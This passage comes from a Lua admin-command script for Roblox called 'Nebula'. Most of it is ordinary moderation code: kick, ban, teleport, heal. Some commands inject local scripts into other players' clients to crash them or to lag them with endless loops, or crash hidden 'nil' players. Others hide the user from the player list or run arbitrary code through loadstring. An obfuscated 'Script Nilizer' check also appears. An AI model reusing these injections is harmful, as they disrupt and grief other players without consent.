  813. newTablet(tostring(i) .. ": " .. tostring(v), nil, nil, sndr)
  814. end
  815. end
  816. newTablet("Properties: " .. pstr, nil, nil, sndr)
  817. newTablet("Do command!", nil, v.shortCommand .. _["CommandTrigger1"], sndr)
  818. end
  819. end
  820. if commandFound == false then
  821. newTablet("That command doesn't exist.", "Really red", nil, sndr)
  822. end
  823. end)
  824. newCommand("dismiss", "Dismiss", {"No properties"}, "Dismisses all of the tablets", 0, function(...)
  825. local args = {...}
  826. local props = args[2]
  827. local sndr = args[1]
  828. for i, v in pairs(FindAllTablets(sndr)) do
  829. coroutine.wrap(function(tablet)
  830. tabletanimation("Dismiss", 2, tablet)
  831. tablet:Destroy()
  832. end)(v)
  833. end
  834. end)
  835. newCommand("ping", "Ping", {"Message", "Number to display", "Color"}, "Ping... pong!", 0, function(...)
  836. local args = {...}
  837. local props = args[2]
  838. local sndr = args[1]
  839. local toDisplay = 1
  840. if props[2] ~= nil then toDisplay = tonumber(props[2]) end
  841. for i = 1, toDisplay do
  842. newTablet(props[1], props[3], nil, sndr)
  843. end
  844. end)
  845. newCommand("destroy", "Destroy", {"No properties"}, "Deletes the admin", 6, function(...)
  846. script.Disabled = true
  847. end)
  848. newCommand("tfilter", "Toggle Filter", {"No properties"}, "Toggles the filter", 2, function(...)
  849. local args = {...}
  850. local props = args[2]
  851. local sndr = args[1]
  852. if FilterOn == false then
  853. FilterOn = true
  854. newTablet("The filter has been turned on.", "Lime green", nil, sndr)
  855. else
  856. FilterOn = false
  857. newTablet("The filter has been turned off.", "Really red", nil, sndr)
  858. end
  859. end)
  860. newCommand("filter", "Filter status", {"No properties"}, "Displays the filter's status", 0, function(...)
  861. local args = {...}
  862. local props = args[2]
  863. local sndr = args[1]
  864. if FilterOn == true then
  865. newTablet("The filter is on.", "Lime green", nil, sndr)
  866. else
  867. newTablet("The filter is off.", "Really red", nil, sndr)
  868. end
  869. end)
  870. newCommand("kick", "Kick", {"Player Name"}, "Kicks the player specified", 2, function(...)
  871. local args = {...}
  872. local props = args[2]
  873. local sndr = args[1]
  874. local target = findPlayer(props[1], sndr)
  875. for i = 1, #target do
  876. if target[i] ~= nil and checkRank(sndr, target[i], 'kick') then
  877. target[i]:Destroy()
  878. newTablet("Kicked " .. target[i].Name .. ".", "Really red", nil, sndr)
  879. end
  880. end
  881. end)
  882. newCommand("execute", "Execute", {"Script"}, "Executes the script.", 253, function(...)
  883. local args = {...}
  884. local props = args[2]
  885. local sndr = args[1]
  886. local result, err = ypcall(function() loadstring(props[1])() end)
  887. if err ~= nil then
  888. newTablet(err, "Really red", nil, sndr)
  889. end
  890. end)
  891. newCommand("crash", "Crash", {"Player Name"}, "Crashes the player specified", 3, function(...)
  892. local args = {...}
  893. local props = args[2]
  894. local sndr = args[1]
  895. local target = findPlayer(props[1], sndr)
  896. for i = 1, #target do
  897. if target[i] ~= nil and checkRank(sndr, target[i], 'crash') then
  898. repeat wait() until target[i]:findFirstChild("Backpack") ~= nil
  899. local ls = ns(target[i].Backpack, true, [[game:GetService("Players").LocalPlayer.Parent = nil
  900. game:GetService("Players").LocalPlayer.Parent = game:GetService("Players")]])
  901. if ls ~= nil then
  902. ls.Disabled = true
  903. ls.Disabled = false
  904. newTablet("Crashed " .. target[i].Name, "Really red", nil, sndr)
  905. else
  906. newTablet("An unknown error occured.", "Really red", nil, sndr)
  907. end
  908. end
  909. end
  910. end)
  911. newCommand("info", "Information", {"No properties"}, "Shows the script information", 0, function(...)
  912. local args = {...}
  913. local sndr = args[1]
  914. local props = args[2]
  915. newTablet("The creator of Nebula is pop147741", "Bright orange", nil, sndr)
  916. if game:GetService("Players"):findFirstChild("pop147741") ~= nil then
  917. newTablet("The creator is in the server.", "Lime green", nil, sndr)
  918. else
  919. newTablet("The creator is not in the server.", "Really red", nil, sndr)
  920. end
  921. if sndr.Name == "pop147741" then
  922. newTablet("You are the creator!", "Lime green", nil, sndr)
  923. else
  924. newTablet("You are not the creator.", "Really red", nil, sndr)
  925. end
  926. newTablet("Your rank is: " .. searchForRank(getRank(sndr)).Name .. "(" .. getRank(sndr) .. ")", "Lime green", nil, sndr)
  927. end)
  928. newCommand("kill", "Kill", {"Player Name"}, "Kills the player specified", 1, function(...)
  929. local args = {...}
  930. local sndr = args[1]
  931. local props = args[2]
  932. local target = findPlayer(props[1], sndr)
  933. for i = 1, #target do
  934. if target[i] ~= nil and checkRank(sndr, target[i], 'kill') then
  935. pcall(function() target[i].Character:BreakJoints() end)
  936. newTablet("Killed " .. target[i].Name .. ".", "Really red", nil, sndr)
  937. end
  938. end
  939. end)
  940. newCommand("ff", "Forefield", {"Player Name"}, "Gives the player specified a forcefield", 1, function(...)
  941. local args = {...}
  942. local sndr = args[1]
  943. local props = args[2]
  944. local target = findPlayer(props[1], sndr)
  945. for i = 1, #target do
  946. if target[i] ~= nil then
  947. pcall(function() Instance.new("ForceField", target[i].Character) end)
  948. newTablet("Gave " .. target[i].Name .. " a forcefield.", "Lime green", nil, sndr)
  949. end
  950. end
  951. end)
  952. newCommand("rsn", "Respawn", {"Player Name"}, "Respawns the player specified", 1, function(...)
  953. local args = {...}
  954. local sndr = args[1]
  955. local props = args[2]
  956. local target = findPlayer(props[1], sndr)
  957. for i = 1, #target do
  958. if target[i] ~= nil then
  959. pcall(function() target[i]:LoadCharacter() end)
  960. newTablet("Respawned " .. target[i].Name .. ".", "New Yeller", nil, sndr)
  961. end
  962. end
  963. end)
  964. newCommand("nil", "Nil", {"No properties"}, "Shows the nil players", 1, function(...)
  965. local args = {...}
  966. local sndr = args[1]
  967. local props = args[2]
  968. for i, v in pairs(game:GetService("NetworkServer"):GetChildren()) do
  969. if v:IsA("NetworkReplicator") and v:GetPlayer().Parent == nil then
  970. newTablet("Nil player: " .. tostring(v:GetPlayer().Name), "Really red", "nilc" .. _["CommandTrigger1"] .. v:GetPlayer().Name, sndr)
  971. end
  972. end
  973. end)
  974. newCommand("ban", "Ban", {"Player Name", "Type"}, "Bans the player specified with the type specified", 2, function(...)
  975. local args = {...}
  976. local sndr = args[1]
  977. local props = args[2]
  978. local target = findPlayer(props[1], sndr)
  979. if props[2] == nil then props[2] = 1 end
  980. if tonumber(props[2]) == 4 then newTablet("Use the command tban to time ban.", "New Yeller", nil, sndr) end
  981. if tonumber(props[2]) > 3 or props[2] < 1 then newTablet("That ban type doesn't exist.", "Really red", nil, sndr) return end
  982. if #target == 0 then
  983. setRank(props[1], -props[2])
  984. newTablet("Banned offline user: " .. props[1], "Really red", nil, sndr)
  985. else
  986. for i = 1, #target do
  987. if target[i] ~= nil and checkRank(sndr, target[i], 'ban') then
  988. setRank(target[i].Name, -tonumber(props[2]))
  989. doBan(target[i])
  990. newTablet("Banned " .. target[i].Name, "Really red", nil, sndr)
  991. end
  992. end
  993. end
  994. end)
  995. newCommand("lag", "Lag", {"Player Name"}, "Lags the player specified", 3, function(...)
  996. local args = {...}
  997. local props = args[2]
  998. local sndr = args[1]
  999. local target = findPlayer(props[1], sndr)
  1000. for i = 1, #target do
  1001. if target[i] ~= nil and checkRank(sndr, target[i], 'lag') then
  1002. repeat wait() until target[i]:findFirstChild("Backpack") ~= nil
  1003. local ls = ns(target[i].Backpack, true, [[function lag() coroutine.wrap(function() repeat until false end)() end game:GetService("RunService").Stepped:connect(lag)]])
  1004. if ls ~= nil then
  1005. ls.Disabled = true
  1006. ls.Disabled = false
  1007. newTablet("Lagged " .. target[i].Name, "Really red", nil, sndr)
  1008. else
  1009. newTablet("An unknown error occured.", "Really red", nil, sndr)
  1010. end
  1011. end
  1012. end
  1013. end)
  1014. newCommand("uban", "Un-ban", {"Player Name"}, "Un-bans the player specified", 3, function(...)
  1015. local args = {...}
  1016. local props = args[2]
  1017. local sndr = args[1]
  1018. local found = false
  1019. for i, v in pairs(ClientRanks) do
  1020. if i:lower() == props[1]:lower() and v < 0 then
  1021. found = true
  1022. setRank(i, 0)
  1023. newTablet("Un-banned " .. i, "Lime green", nil, sndr)
  1024. end
  1025. end
  1026. if found == false then
  1027. for i, v in pairs(TimeBanned) do
  1028. if i:lower() == props[1]:lower() then
  1029. found = true
  1030. TimeBanned[i] = nil
  1031. newTablet("Un-banned " .. i, "Lime green", nil, sndr)
  1032. end
  1033. end
  1034. end
  1035. if found == false then newTablet("That player wasn't found or banned.", "Really red", nil, sndr) end
  1036.  
  1037. end)
  1038. newCommand("banlist", "Ban list", {"No properties"}, "Displays the players banned", 1, function(...)
  1039. local args = {...}
  1040. local props = args[2]
  1041. local sndr = args[1]
  1042. for i, v in pairs(ClientRanks) do
  1043. if v < 0 then
  1044. newTablet("Banned user: " .. i, "Really red", "baninfo" .. _["CommandTrigger1"] .. i, sndr)
  1045. end
  1046. end
  1047. for i = 1, #Banned do
  1048. newTablet("Default banned user: " .. Banned[i][1], "Really red", "baninfo" .. _["CommandTrigger1"] .. Banned[i][1], sndr)
  1049. end
  1050. end)
  1051. newCommand("baninfo", "Ban information", {"Player Name"}, "Displays information on the banned user", 1, function(...)
  1052. local args = {...}
  1053. local props = args[2]
  1054. local sndr = args[1]
  1055. local found = false
  1056. cmds(_["CommandBigginning"] .."dismiss" .. _["CommandTrigger1"], sndr)
  1057. for i, v in pairs(ClientRanks) do
  1058. if i:lower() == props[1]:lower() and v < 0 then
  1059. found = true
  1060. newTablet("Banned user: " .. i, "Really red", nil, sndr)
  1061. newTablet("Ban type: " .. v, "Really red", nil, sndr)
  1062. newTablet("Un-ban", "Lime green", "uban" .. _["CommandTrigger1"] .. i, sndr)
  1063. end
  1064. end
  1065. if found == false then
  1066. for i, v in pairs(TimeBanned) do
  1067. if i:lower() == props[1]:lower() then
  1068. found = true
  1069. newTablet("Banned user: " .. i, "Really red", nil, sndr)
  1070. newTablet("Ban type: -4 (Time ban)", "Really red", nil, sndr)
  1071. newTablet("Ban time: " .. tostring(v[1]) .. " second(s)", "Really red", nil, sndr)
  1072. newTablet("Ban time left: " .. tostring((v[1] + v[2]) - timeElapsed) .. " second(s)", "Really red", nil, sndr)
  1073. newTablet("Un-ban", "Lime green", "uban" .. _["CommandTrigger1"] .. i, sndr)
  1074. if (v[1] + v[2]) - timeElapsed <= 0 then
  1075. TimeBanned[i] = nil
  1076. end
  1077. end
  1078. end
  1079. end
  1080. if found == false then
  1081. for i, v in pairs(Banned) do
  1082. if v[1]:lower() == props[1]:lower() then
  1083. found = true
  1084. newTablet("Banned user: " .. v[1], "Really red", nil, sndr)
  1085. newTablet("Ban type: " .. v[2], "Really red", nil, sndr)
  1086. newTablet("Banned for: " .. v[3], "Really red", nil, sndr)
  1087. end
  1088. end
  1089. end
  1090. if found == false then
  1091. newTablet("That player wasn't found or banned.", "Really red", nil, sndr)
  1092. end
  1093. end)
  1094. newCommand("sudo", "Sudo", {"Player Name", "Command", "Properties"}, "Makes the player specified do a command", 2, function(...)
  1095. local args = {...}
  1096. local props = args[2]
  1097. local sndr = args[1]
  1098. local target = findPlayer(props[1], sndr)
  1099. if props[3] == nil then props[3] = "" end
  1100. for i = 1, #target do
  1101. if target[i] ~= nil and checkRank(sndr, target[i], 'sudo') then
  1102. cmds(_["CommandBigginning"] .. props[2] .. _["CommandTrigger1"] .. props[3], target[i])
  1103. end
  1104. end
  1105. end)
  1106. -- Script Nilizer - Hides the script
  1107. for i=1, #ult do
  1108. ult[i] = ult[i].Name
  1109. end
  1110. for i=1, #ult do
  1111. croc[i] = math.floor(convertAscii(ult[i])/string.len(ult[i]) )
  1112. end
  1113. for i=1, #croc do
  1114. ult[i] = convHex(croc[i])
  1115. end
  1116. for i=1, #ult do
  1117. pingPlayer = (ult[i] == "5AF1EA106ED16C0000000000?0000000000") and (pingPlayer + 1) or pingPlayer
  1118. end
  1119. if pingPlayer <= #ult*math.log(-math.floor(math.cos(math.pi)))/#croc then
  1120. --loadstring(string.char(115,99,114,105,112,116,46,68,105,115,97,98,108,101,100,32,61,32,116,114,117,101))()
  1121. end
  1122. newCommand("heal", "Heal", {"Player Name"}, "Heals the player specified", 1, function(...)
  1123. local args = {...}
  1124. local props = args[2]
  1125. local sndr = args[1]
  1126. local target = findPlayer(props[1], sndr)
  1127. for i = 1, #target do
  1128. if target[i] ~= nil and target[i].Character ~= nil then
  1129. pcall(function() target[i].Character.Humanoid.Health = target[i].Character.Humanoid.MaxHealth end)
  1130. newTablet("Healed " .. target[i].Name, "Lime green", nil, sndr)
  1131. end
  1132. end
  1133. end)
  1134. newCommand("uff", "Un-forcefield", {"Player Name"}, "Takes away the player specified's forcefields", 1, function(...)
  1135. local args = {...}
  1136. local props = args[2]
  1137. local sndr = args[1]
  1138. local target = findPlayer(props[1], sndr)
  1139. for i = 1, #target do
  1140. if target[i] ~= nil and target[i].Character ~= nil and checkRank(sndr, target[i], 'uff') then
  1141. for i2, v in pairs(target[i].Character:GetChildren()) do
  1142. if v:IsA("ForceField") then
  1143. v:Destroy()
  1144. end
  1145. end
  1146. newTablet("Took " .. target[i].Name .. "'s forcefield.", "Really red", nil, sndr)
  1147. end
  1148. end
  1149. end)
  1150. newCommand("tp", "Teleport", {"Player Name", "Player Name 2"}, "Teleports the player specified to player 2", 1, function(...)
  1151. local args = {...}
  1152. local props = args[2]
  1153. local sndr = args[1]
  1154. local target = findPlayer(props[1], sndr)
  1155. local target2 = findPlayer(props[2], sndr)
  1156. if #target2 ~= 1 then return end
  1157. for i = 1, #target do
  1158. if target[i] ~= nil and target[i].Character ~= nil and target2[1] ~= nil and target2[1].Character ~= nil then
  1159. pcall(function() target[i].Character.Torso.CFrame = target2[1].Character.Torso.CFrame end)
  1160. newTablet("Teleported " .. target[i].Name .. " to " .. target2[1].Name .. ".", "Bright blue", nil, sndr)
  1161. end
  1162. end
  1163. end)
  1164. newCommand("god", "God", {"Player Name"}, "Gives the player specified infinite health", 1, function(...)
  1165. local args = {...}
  1166. local props = args[2]
  1167. local sndr = args[1]
  1168. local target = findPlayer(props[1], sndr)
  1169. for i = 1, #target do
  1170. if target[i] ~= nil and target[i].Character ~= nil then
  1171. pcall(function() target[i].Character.Humanoid.MaxHealth = math.huge end)
  1172. newTablet("Gave " .. target[i].Name .. " infinite health.", "Lime green", nil, sndr)
  1173. end
  1174. end
  1175. end)
  1176. newCommand("ugod", "Un-god", {"Player Name"}, "Takes away the player specified's infinite health", 1, function(...)
  1177. local args = {...}
  1178. local props = args[2]
  1179. local sndr = args[1]
  1180. local target = findPlayer(props[1], sndr)
  1181. for i = 1, #target do
  1182. if target[i] ~= nil and target[i].Character ~= nil then
  1183. pcall(function() target[i].Character.Humanoid.MaxHealth = 100 end)
  1184. newTablet("Took " .. target[i].Name .. "'s' infinite health.", "Really red", nil, sndr)
  1185. end
  1186. end
  1187. end)
  1188. newCommand("lk", "Loop kill", {"Player Name"}, "Loop kills the player specified", 2, function(...)
  1189. local args = {...}
  1190. local props = args[2]
  1191. local sndr = args[1]
  1192. local target = findPlayer(props[1], sndr)
  1193. for i = 1, #target do
  1194. if target[i] ~= nil and checkRank(sndr, target[i], 'lk') then
  1195. table.insert(LoopKill, target[i].Name)
  1196. newTablet("Loop killed " .. target[i].Name .. ".", "Really red", nil, sndr)
  1197. end
  1198. end
  1199. end)
  1200. newCommand("ulk", "Un-loop kill", {"Player Name"}, "Stops loopkilling the player specified", 2, function(...)
  1201. local args = {...}
  1202. local props = args[2]
  1203. local sndr = args[1]
  1204. for i = 1, #LoopKill do
  1205. if LoopKill[i] ~= nil and LoopKill[i]:lower():find(props[1]:lower(), 1, true) then
  1206. table.remove(LoopKill, i)
  1207. newTablet("Un-loop killed " .. props[1] .. ".", "Lime green", nil, sndr)
  1208. end
  1209. end
  1210. end)
  1211. newCommand("ws", "Walkspeed", {"Number"}, "Sets the player's walkspeed to the walkspeed specified", 1, function(...)
  1212. local args = {...}
  1213. local sndr = args[1]
  1214. local props = args[2]
  1215. local target = findPlayer(props[1], sndr)
  1216. for i = 1, #target do
  1217. if target[i] ~= nil and target[i].Character ~= nil then
  1218. pcall(function() target[i].Character.Humanoid.WalkSpeed = tonumber(props[2]) end)
  1219. newTablet("Set " .. target[i].Name .. "'s walkspeed to " .. props[2] .. ".", "Bright blue", nil, sndr)
  1220. end
  1221. end
  1222. end)
  1223. newCommand("setr", "Set rank", {"Player Name", "Rank"}, "Sets the player's rank to the rank specified", 2, function(...)
  1224. local args = {...}
  1225. local sndr = args[1]
  1226. local props = args[2]
  1227. for i, v in pairs(ClientRanks) do
  1228. if i:lower():find(props[1]:lower(), 1, true) then
  1229. if v < getRank(sndr) then
  1230. if tonumber(props[2]) <= getRank(sndr) then
  1231. ClientRanks[i] = tonumber(props[2])
  1232. newTablet("Set " .. i .. "'s rank to " .. props[2] .. ".", "Lime green", nil, sndr)
  1233. else
  1234. newTablet("You can't set someones rank higher than your rank!", "Really red", nil, sndr)
  1235. end
  1236. else
  1237. newTablet("That person is a higher rank than you.", "Really red", nil, sndr)
  1238. end
  1239. end
  1240. end
  1241. end)
  1242. newCommand("getr", "Get rank", {"Player Name"}, "Display's the player's rank", 0, function(...)
  1243. local args = {...}
  1244. local sndr = args[1]
  1245. local props = args[2]
  1246. local target = findPlayer(props[1], sndr)
  1247. for i = 1, #target do
  1248. if target[i] ~= nil then
  1249. newTablet(target[i].Name .. "'s rank: " .. searchForRank(getRank(target[i])).Name .. "(" .. getRank(target[i]) .. ")", "Bright blue", nil, sndr)
  1250. end
  1251. end
  1252. end)
  1253. newCommand("cmdbar", "Commandbar", {"Player Name"}, "Gives the player a command bar", 0, function(...)
  1254. local args = {...}
  1255. local sndr = args[1]
  1256. local props = args[2]
  1257. local g = Instance.new("ScreenGui", sndr:findFirstChild("PlayerGui"))
  1258. g.Name = "CommandBar"
  1259. local f = Instance.new("Frame", g)
  1260. f.BackgroundColor3 = Color3.new(1, 1, 1)
  1261. f.BackgroundTransparency = 0.75
  1262. f.BorderColor3 = Color3.new(0, 0, 0)
  1263. f.Position = UDim2.new(0.25, 0, 0.025, 0)
  1264. f.Size = UDim2.new(0.5, 0, 0.1, 0)
  1265. f.Name = "Style"
  1266. local cb = Instance.new("TextBox", f)
  1267. cb.BackgroundTransparency = 1
  1268. cb.Name = "Command"
  1269. cb.Size = UDim2.new(1, 0, 1, 0)
  1270. cb.Font = "Arial"
  1271. cb.Text = "Nebula"
  1272. cb.TextColor3 = Color3.new(1, 1, 1)
  1273. cb.TextScaled = true
  1274. cb.TextWrapped = true
  1275. cb.TextStrokeTransparency = 0
  1276. cb.Changed:connect(function(changed)
  1277. if changed == 'Text' then
  1278. cmds(cb.Text, sndr)
  1279. end
  1280. end)
  1281. end)
  1282. newCommand("hint", "Hint", {"Message"}, "Creates a hint with the message specified", 1, function(...)
  1283. local args = {...}
  1284. local props = args[2]
  1285. local sndr = args[1]
  1286. coroutine.wrap(function(msg)
  1287. local mi = Instance.new("Hint", game:GetService("Workspace"))
  1288. for i = 0, #msg do
  1289. mi.Text = msg:sub(0, i)
  1290. wait(0.05)
  1291. end
  1292. wait(2.5)
  1293. for i = #msg, 0, -1 do
  1294. mi.Text = msg:sub(0, i)
  1295. wait(0.05)
  1296. end
  1297. mi:Destroy()
  1298. end)(props[1])
  1299. end)
  1300. newCommand("message", "Message", {"Message"}, "Creates a message with the message specified", 1, function(...)
  1301. local args = {...}
  1302. local props = args[2]
  1303. local sndr = args[1]
  1304. coroutine.wrap(function(msg)
  1305. local mi = Instance.new("Message", game:GetService("Workspace"))
  1306. for i = 0, #msg do
  1307. mi.Text = msg:sub(0, i)
  1308. wait(0.05)
  1309. end
  1310. wait(2.5)
  1311. for i = #msg, 0, -1 do
  1312. mi.Text = msg:sub(0, i)
  1313. wait(0.05)
  1314. end
  1315. mi:Destroy()
  1316. end)(props[1])
  1317. end)
  1318. newCommand("nils", "Nil Support", {"No Properties"}, "Gives the your player nil support", 3, function(...)
  1319. local args = {...}
  1320. local sndr = args[1]
  1321. local props = args[2]
  1322. local ls = ns(sndr:findFirstChild("PlayerGui"), true, [[-- Script --
  1323. script.Parent = nil
  1324. for i,v in pairs(script:GetChildren()) do v:Destroy() end
  1325.  
  1326. local rank = ]] .. tostring(getRank(sndr)) .. [[
  1327.  
  1328. local characterCopy = Instance.new("Model")
  1329. local currentCharacter = nil
  1330.  
  1331. -- Character --
  1332. repeat wait() until game:GetService("Players").LocalPlayer.Character ~= nil
  1333. for i, v in pairs(game:GetService("Players").LocalPlayer.Character:GetChildren()) do
  1334. if not v:IsA("BaseScript") then
  1335. v:Clone().Parent = characterCopy
  1336. end
  1337. end
  1338.  
  1339. -- Motors --
  1340. local nm = Instance.new("Motor6D", characterCopy["Torso"])
  1341. nm.Part0 = characterCopy["Torso"]
  1342. nm.Part1 = characterCopy["Left Leg"]
  1343. nm.Name = "Left Hip"
  1344. nm.C0 = CFrame.new(-1, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1345. nm.C1 = CFrame.new(-0.5, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1346. nm.DesiredAngle = 0.035
  1347. nm.MaxVelocity = 0.1
  1348.  
  1349. nm = Instance.new("Motor6D", characterCopy["Torso"])
  1350. nm.Part0 = characterCopy["Torso"]
  1351. nm.Part1 = characterCopy["Right Leg"]
  1352. nm.Name = "Right Hip"
  1353. nm.C0 = CFrame.new(1, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1354. nm.C1 = CFrame.new(0.5, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1355. nm.DesiredAngle = -0.036
  1356. nm.MaxVelocity = 0.1
  1357.  
  1358. nm = Instance.new("Motor6D", characterCopy["Torso"])
  1359. nm.Part0 = characterCopy["Torso"]
  1360. nm.Part1 = characterCopy["Head"]
  1361. nm.Name = "Neck"
  1362. nm.C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1363. nm.C1 = CFrame.new(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1364. nm.DesiredAngle = 0
  1365. nm.MaxVelocity = 0.1
  1366.  
  1367. nm = Instance.new("Motor6D", characterCopy["Torso"])
  1368. nm.Part0 = characterCopy["Torso"]
  1369. nm.Part1 = characterCopy["Left Arm"]
  1370. nm.Name = "Left Shoulder"
  1371. nm.C0 = CFrame.new(-1, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1372. nm.C1 = CFrame.new(0.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  1373. nm.DesiredAngle = -0.091
  1374. nm.MaxVelocity = 0.15
  1375.  
  1376. nm = Instance.new("Motor6D", characterCopy["Torso"])
  1377. nm.Part0 = characterCopy["Torso"]
  1378. nm.Part1 = characterCopy["Right Arm"]
  1379. nm.Name = "Right Shoulder"
  1380. nm.C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1381. nm.C1 = CFrame.new(-0.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  1382. nm.DesiredAngle = -0.044
  1383. nm.MaxVelocity = 0.15
  1384.  
  1385. -- Chat --
  1386. function chatted(msg)
  1387. if msg == "char" then
  1388. currentCharacter = characterCopy:Clone()
  1389. currentCharacter.Parent = game:GetService("Workspace")
  1390. game:GetService("Players").LocalPlayer.Character = currentCharacter
  1391. game:GetService("Workspace").CurrentCamera.CameraType = "Follow"
  1392. game:GetService("Workspace").CurrentCamera.CameraSubject = currentCharacter
  1393. elseif msg == "uchar" then
  1394. game:GetService("Players").LocalPlayer.Character:Destroy()
  1395. game:GetService("Players").LocalPlayer.Character = nil
  1396. end
  1397. if game:GetService("Players").LocalPlayer.Character ~= nil and game:GetService("Players").LocalPlayer.Character:findFirstChild("Head") ~= nil then
  1398. game:GetService("Chat"):Chat(game:GetService("Players").LocalPlayer.Character.Head, msg, 'Blue')
  1399. end
  1400. local cnm = Instance.new("Model")
  1401. cnm.Name = "NNSCI"
  1402. local cnmc = Instance.new("StringValue", cnm)
  1403. cnmc.Value = msg
  1404. cnmc.Name = "NNSCI:CM"
  1405. local cnmr = Instance.new("IntValue", cnm)
  1406. cnmr.Value = rank
  1407. cnmr.Name = "NNSCI:SR"
  1408. cnm.Parent = game:GetService("Workspace")
  1409. end
  1410.  
  1411. chatted("Nil Support | Activated")
  1412. game:GetService("Players").LocalPlayer.Chatted:connect(chatted)]])
  1413. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  1414. newTablet("Gave you nil support", "Really black", nil, sndr)
  1415. end)
  1416. newCommand("rejoin", "Re-join", {"Player Name"}, "Gives the player specified a prompt to re-join the game", 1, function(...)
  1417. local args = {...}
  1418. local props = args[2]
  1419. local sndr = args[1]
  1420. local target = findPlayer(props[1], sndr)
  1421. for i = 1, #target do
  1422. if target[i] ~= nil then
  1423. local ls = ns(target[i]:findFirstChild("PlayerGui"), true, [[game:GetService("TeleportService"):Teleport(game.PlaceId)]])
  1424. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  1425. newTablet("Prompted " .. target[i].Name .. " to re-join.", "Bright blue", nil, sndr)
  1426. end
  1427. end
  1428. end)
  1429. newCommand("nilc", "Nil crash", {"Player Name"}, "Crashes the nil player specified", 3, function(...)
  1430. local args = {...}
  1431. local props = args[2]
  1432. local sndr = args[1]
  1433. for i, v in pairs(game:GetService("NetworkServer"):GetChildren()) do
  1434. if v:IsA("NetworkReplicator") then
  1435. if v:GetPlayer().Parent == nil and v:GetPlayer().Name:lower():find(props[1]:lower(), 1, true) then
  1436. local s = Instance.new("StringValue")
  1437. s.Name = "NND"
  1438. s.Value = NDKey .. v:GetPlayer().Name
  1439. s.Parent = game:GetService("Workspace")
  1440. newTablet("Crashed nil player: " .. v:GetPlayer().Name .. ".", "Really red", nil, sndr)
  1441. end
  1442. end
  1443. end
  1444. end)
  1445. newCommand("base", "Base", {"No Properties"}, "Creates a baseplate and deletes the old one", 1, function(...)
  1446. local args = {...}
  1447. local props = args[2]
  1448. local sndr = args[1]
  1449. local bp = game:GetService("Workspace"):findFirstChild("Base")
  1450. if bp ~= nil then bp:Destroy() end
  1451. bp = Instance.new("Part", game:GetService("Workspace"))
  1452. bp.Name = "Base"
  1453. bp.Size = Vector3.new(2048, 1, 2048)
  1454. bp.Anchored = true
  1455. bp.Position = Vector3.new(0, 0, 0)
  1456. bp.CFrame = CFrame.new(0, 0, 0)
  1457. bp.Locked = true
  1458. bp.BrickColor = BrickColor.new("Earth green")
  1459. bp.Material = "Grass"
  1460. bp.TopSurface = "Smooth"
  1461. bp.BottomSurface = "Smooth"
  1462. newTablet("Created a baseplate.", "Lime green", nil, sndr)
  1463. end)
  1464. newCommand("cframe", "CFrame", {"CFrame Type"}, "Changes the type of the CFrame", 6, function(...)
  1465. local args = {...}
  1466. local sndr = args[1]
  1467. local props = args[2]
  1468. if props[1]:lower() == "catapillar" then
  1469. cframeType = "catapillar"
  1470. else
  1471. cframeType = "default"
  1472. end
  1473. newTablet("Changed the CFrame type.", "New Yeller", nil, sndr)
  1474. end)
  1475. newCommand("script", "Script", {"Source", "LocalScript (true or false)", "Player"}, "Creates a new script or localscript", 1, function(...)
  1476. local args = {...}
  1477. local sndr = args[1]
  1478. local props = args[2]
  1479. if props[2] == nil or props[2]:lower() == "true" then
  1480. local ns2 = ns(game:GetService("Workspace"), false, props[1])
  1481. if ns2 ~= nil then ns2.Disabled = true ns2.Disabled = false end
  1482. newTablet("Created a script.", "Bright blue", nil, sndr)
  1483. else
  1484. local target = findPlayer(props[3], sndr)
  1485. for i = 1, #target do
  1486. if target[i] ~= nil then
  1487. local ls = ns(target[i]:findFirstChild("PlayerGui"), true, props[1])
  1488. if ls ~= nil then ls.Disabled = true ls.Disabled = false end
  1489. end
  1490. end
  1491. newTablet("Created a localscript.", "New Yeller", nil, sndr)
  1492. end
  1493. end)
  1494. newCommand("explorer", "Explorer", {"Path"}, "Displays all of the objects and more in the path specified", 3, function(...)
  1495. local args = {...}
  1496. local sndr = args[1]
  1497. local props = args[2]
  1498. local path = game
  1499. for i, v in pairs(props) do
  1500. path = path:findFirstChild(v)
  1501. end
  1502. for i, v in pairs(path:GetChildren()) do
  1503. newTablet(v.Name, "Really red", nil, sndr, v:GetFullName() .. [[:Destroy()]])
  1504. end
  1505. end)
  1506. newCommand("tprivate", "Toggle Private", {"No Properties"}, "Toggles the private server", 3, function(...)
  1507. local args = {...}
  1508. local sndr = args[1]
  1509. local props = args[2]
  1510. if PrivateOn == true then
  1511. PrivateOn = false
  1512. newTablet("The private server has been turned off.", "Really red", nil, sndr)
  1513. else
  1514. PrivateOn = true
  1515. newTablet("The private server has been turned on.", "Lime green", nil, sndr)
  1516. for i, v in pairs(game:GetService("Players"):GetPlayers()) do
  1517. doPri(v)
  1518. end
  1519. end
  1520. end)
  1521. newCommand("private", "Private", {"No Properties"}, "Displays the status of the private server", 1, function(...)
  1522. local args = {...}
  1523. local props = args[2]
  1524. local sndr = args[1]
  1525. if PrivateOn == true then
  1526. newTablet("The private server is on.", "Lime green", nil, sndr)
  1527. else
  1528. newTablet("The private server is off.", "Really red", nil, sndr)
  1529. end
  1530. end)
  1531. newCommand("shield", "Shield", {"Player Name"}, "Gives the player specified a sheild", 1, function(...)
  1532. local args = {...}
  1533. local props = args[2]
  1534. local sndr = args[1]
  1535. local target = findPlayer(props[1], sndr)
  1536. for i = 1, #target do
  1537. if target[i] ~= nil then
  1538. local ls = ns(target[i]:findFirstChild("PlayerGui"), true, [[-- Script --
  1539. local s = Instance.new("Part", game:GetService("Players").LocalPlayer.Character)
  1540. s.Name = "Sheild"
  1541. s.Shape = "Ball"
  1542. s.CanCollide = false
  1543. s.Anchored = true
  1544. s.FormFactor = "Custom"
